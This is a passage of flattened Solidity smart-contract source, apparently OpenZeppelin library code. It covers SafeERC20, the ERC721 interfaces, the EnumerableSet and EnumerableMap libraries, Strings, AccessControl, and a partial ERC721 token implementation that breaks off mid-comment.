abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } pragma solidity ^0.6.2; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transfered from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 tokenId) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } // File: node_modules\@openzeppelin\contracts\token\ERC721\IERC721Metadata.sol pragma solidity ^0.6.2; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: node_modules\@openzeppelin\contracts\token\ERC721\IERC721Enumerable.sol pragma solidity ^0.6.2; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256` * (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(value))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(value))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(value))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint256(_at(set._inner, index))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // File: node_modules\@openzeppelin\contracts\utils\EnumerableMap.sol pragma solidity ^0.6.0; /** * @dev Library for managing an enumerable variant of Solidity's * https://solidity.readthedocs.io/en/latest/types.html#mapping-types[`mapping`] * type. * * Maps have the following properties: * * - Entries are added, removed, and checked for existence in constant time * (O(1)). * - Entries are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableMap for EnumerableMap.UintToAddressMap; * * // Declare a set state variable * EnumerableMap.UintToAddressMap private myMap; * } * ``` * * As of v3.0.0, only maps of type `uint256 -> address` (`UintToAddressMap`) are * supported. */ library EnumerableMap { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Map type with // bytes32 keys and values. // The Map implementation uses private functions, and user-facing // implementations (such as Uint256ToAddressMap) are just wrappers around // the underlying Map. // This means that we can only create new EnumerableMaps for types that fit // in bytes32. struct MapEntry { bytes32 _key; bytes32 _value; } struct Map { // Storage of map keys and values MapEntry[] _entries; // Position of the entry defined by a key in the `entries` array, plus 1 // because index 0 means a key is not in the map. mapping (bytes32 => uint256) _indexes; } /** * @dev Adds a key-value pair to a map, or updates the value for an existing * key. O(1). * * Returns true if the key was added to the map, that is if it was not * already present. */ function _set(Map storage map, bytes32 key, bytes32 value) private returns (bool) { // We read and store the key's index to prevent multiple reads from the same storage slot uint256 keyIndex = map._indexes[key]; if (keyIndex == 0) { // Equivalent to !contains(map, key) map._entries.push(MapEntry({ _key: key, _value: value })); // The entry is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value map._indexes[key] = map._entries.length; return true; } else { map._entries[keyIndex - 1]._value = value; return false; } } /** * @dev Removes a key-value pair from a map. O(1). * * Returns true if the key was removed from the map, that is if it was present. */ function _remove(Map storage map, bytes32 key) private returns (bool) { // We read and store the key's index to prevent multiple reads from the same storage slot uint256 keyIndex = map._indexes[key]; if (keyIndex != 0) { // Equivalent to contains(map, key) // To delete a key-value pair from the _entries array in O(1), we swap the entry to delete with the last one // in the array, and then remove the last entry (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = keyIndex - 1; uint256 lastIndex = map._entries.length - 1; // When the entry to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. MapEntry storage lastEntry = map._entries[lastIndex]; // Move the last entry to the index where the entry to delete is map._entries[toDeleteIndex] = lastEntry; // Update the index for the moved entry map._indexes[lastEntry._key] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved entry was stored map._entries.pop(); // Delete the index for the deleted slot delete map._indexes[key]; return true; } else { return false; } } /** * @dev Returns true if the key is in the map. O(1). */ function _contains(Map storage map, bytes32 key) private view returns (bool) { return map._indexes[key] != 0; } /** * @dev Returns the number of key-value pairs in the map. O(1). */ function _length(Map storage map) private view returns (uint256) { return map._entries.length; } /** * @dev Returns the key-value pair stored at position `index` in the map. O(1). * * Note that there are no guarantees on the ordering of entries inside the * array, and it may change when more entries are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Map storage map, uint256 index) private view returns (bytes32, bytes32) { require(map._entries.length > index, "EnumerableMap: index out of bounds"); MapEntry storage entry = map._entries[index]; return (entry._key, entry._value); } /** * @dev Returns the value associated with `key`. O(1). * * Requirements: * * - `key` must be in the map. */ function _get(Map storage map, bytes32 key) private view returns (bytes32) { return _get(map, key, "EnumerableMap: nonexistent key"); } /** * @dev Same as {_get}, with a custom error message when `key` is not in the map. */ function _get(Map storage map, bytes32 key, string memory errorMessage) private view returns (bytes32) { uint256 keyIndex = map._indexes[key]; require(keyIndex != 0, errorMessage); // Equivalent to contains(map, key) return map._entries[keyIndex - 1]._value; // All indexes are 1-based } // UintToAddressMap struct UintToAddressMap { Map _inner; } /** * @dev Adds a key-value pair to a map, or updates the value for an existing * key. O(1). * * Returns true if the key was added to the map, that is if it was not * already present. */ function set(UintToAddressMap storage map, uint256 key, address value) internal returns (bool) { return _set(map._inner, bytes32(key), bytes32(uint256(value))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the key was removed from the map, that is if it was present. */ function remove(UintToAddressMap storage map, uint256 key) internal returns (bool) { return _remove(map._inner, bytes32(key)); } /** * @dev Returns true if the key is in the map. O(1). */ function contains(UintToAddressMap storage map, uint256 key) internal view returns (bool) { return _contains(map._inner, bytes32(key)); } /** * @dev Returns the number of elements in the map. O(1). */ function length(UintToAddressMap storage map) internal view returns (uint256) { return _length(map._inner); } /** * @dev Returns the element stored at position `index` in the set. O(1). * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintToAddressMap storage map, uint256 index) internal view returns (uint256, address) { (bytes32 key, bytes32 value) = _at(map._inner, index); return (uint256(key), address(uint256(value))); } /** * @dev Returns the value associated with `key`. O(1). * * Requirements: * * - `key` must be in the map. */ function get(UintToAddressMap storage map, uint256 key) internal view returns (address) { return address(uint256(_get(map._inner, bytes32(key)))); } /** * @dev Same as {get}, with a custom error message when `key` is not in the map. */ function get(UintToAddressMap storage map, uint256 key, string memory errorMessage) internal view returns (address) { return address(uint256(_get(map._inner, bytes32(key), errorMessage))); } } // File: node_modules\@openzeppelin\contracts\utils\Strings.sol pragma solidity ^0.6.0; /** * @dev String operations. */ library Strings { /** * @dev Converts a `uint256` to its ASCII `string` representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); uint256 index = digits - 1; temp = value; while (temp != 0) { buffer[index--] = byte(uint8(48 + temp % 10)); temp /= 10; } return string(buffer); } } // File: @openzeppelin\contracts\access\AccessControl.sol pragma solidity ^0.6.0; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControl is Context { using EnumerableSet for EnumerableSet.AddressSet; using Address for address; struct RoleData { EnumerableSet.AddressSet members; bytes32 adminRole; } mapping (bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view returns (bool) { return _roles[role].members.contains(account); } /** * @dev Returns the number of accounts that have `role`. Can be used * together with {getRoleMember} to enumerate all bearers of a role. */ function getRoleMemberCount(bytes32 role) public view returns (uint256) { return _roles[role].members.length(); } /** * @dev Returns one of the accounts that have `role`. `index` must be a * value between 0 and {getRoleMemberCount}, non-inclusive. * * Role bearers are not sorted in any particular way, and their ordering may * change at any point. * * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure * you perform all queries on the same block. See the following * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post] * for more information. */ function getRoleMember(bytes32 role, uint256 index) public view returns (address) { return _roles[role].members.at(index); } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to grant"); _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke"); _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { emit RoleAdminChanged(role, _roles[role].adminRole, adminRole); _roles[role].adminRole = adminRole; } function _grantRole(bytes32 role, address account) private { if (_roles[role].members.add(account)) { emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (_roles[role].members.remove(account)) { emit RoleRevoked(role, account, _msgSender()); } } } pragma solidity ^0.6.0; /** * @title ERC721 Non-Fungible Token Standard basic implementation * @dev see https://eips.ethereum.org/EIPS/eip-721 */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable { using SafeMath for uint256; using Address for address; using EnumerableSet for EnumerableSet.UintSet; using EnumerableMap for EnumerableMap.UintToAddressMap; using Strings for uint256; // Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` // which can be also obtained as `IERC721Receiver(0).onERC721Received.selector` bytes4 private constant _ERC721_RECEIVED = 0x150b7a02; // Mapping from holder address to their (enumerable) set of owned tokens mapping (address => EnumerableSet.UintSet) private _holderTokens; // Enumerable mapping from token ids to their owners EnumerableMap.UintToAddressMap private _tokenOwners; // Mapping from token ID to approved address mapping (uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping (address => mapping (address => bool)) private _operatorApprovals; // Token name string private _name; // Token symbol string private _symbol; // Optional mapping for token URIs mapping(uint256 => string) private _tokenURIs; // Base URI string private _baseURI; /* * bytes4(keccak256('balanceOf(address)')) == 0x70a08231 * bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e * bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3 * bytes4(keccak256('getApproved(uint256)')) == 0x081812fc * bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465 * bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5 * bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd * bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e * bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde * * => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^ * 0xa22cb465 ^ 0xe985e9c ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd */ bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd; /* * bytes4(keccak256('name()')) == 0x06fdde03 * bytes4(keccak256('symbol()')) == 0x95d89b41 * bytes4(keccak256('tokenURI(uint256)')) == 0xc87b56dd * * => 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd == 0x5b5e139f */ bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f; /* * bytes4(keccak256('totalSupply()')) == 0x18160ddd * bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) == 0x2f745c59 * bytes4(keccak256('tokenByIndex(uint256)')) == 0x4f6ccce7 * * => 0x18160ddd ^ 0x2f745c59 ^ 0x4f6ccce7 == 0x780e9d63 */ bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; // register the supported interfaces to conform to ERC721 via ERC165 _registerInterface(_INTERFACE_ID_ERC721); _registerInterface(_INTERFACE_ID_ERC721_METADATA); _registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _holderTokens[owner].length(); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view override returns (address) { return _tokenOwners.get(tokenId, "ERC721: owner query for nonexistent token"); } /** * @dev See {IERC721Metadata-name}. */ function name() public view override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory _tokenURI = _tokenURIs[tokenId]; // If there is no base URI, return the token URI. if (bytes(_baseURI).length == 0) { return _tokenURI; } // If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked). if (bytes(_tokenURI).length > 0) { return string(abi.encodePacked(_baseURI, _tokenURI)); } // If there is a baseURI but no tokenURI, concatenate the tokenID to the baseURI. return string(abi.encodePacked(_baseURI, tokenId.toString())); } /** * @dev Returns the base URI set via {_setBaseURI}. This will be * automatically added as a prefix in {tokenURI} to each token's URI, or * to the token ID if no specific URI is set for that token ID. */ function baseURI() public view returns (string memory) { return _baseURI; } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) { return _holderTokens[owner].at(index); } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view override returns (uint256) { // _tokenOwners are indexed by tokenIds, so .length() returns the number of tokenIds return _tokenOwners.length(); } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view override returns (uint256) { (uint256 tokenId, ) = _tokenOwners.at(index); return tokenId; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require(_msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom(address from, address to, uint256 tokenId) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mecanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view returns (bool) { return _tokenOwners.contains(tokenId); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: d* * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual { _mint(to, tokenId); require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _holderTokens[to].add(tokenId); _tokenOwners.set(tokenId, to); emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); // Clear metadata (if any) if (bytes(_tokenURIs[tokenId]).length != 0) { delete _tokenURIs[tokenId]; } _holderTokens[owner].remove(tokenId); _tokenOwners.remove(tokenId); emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers 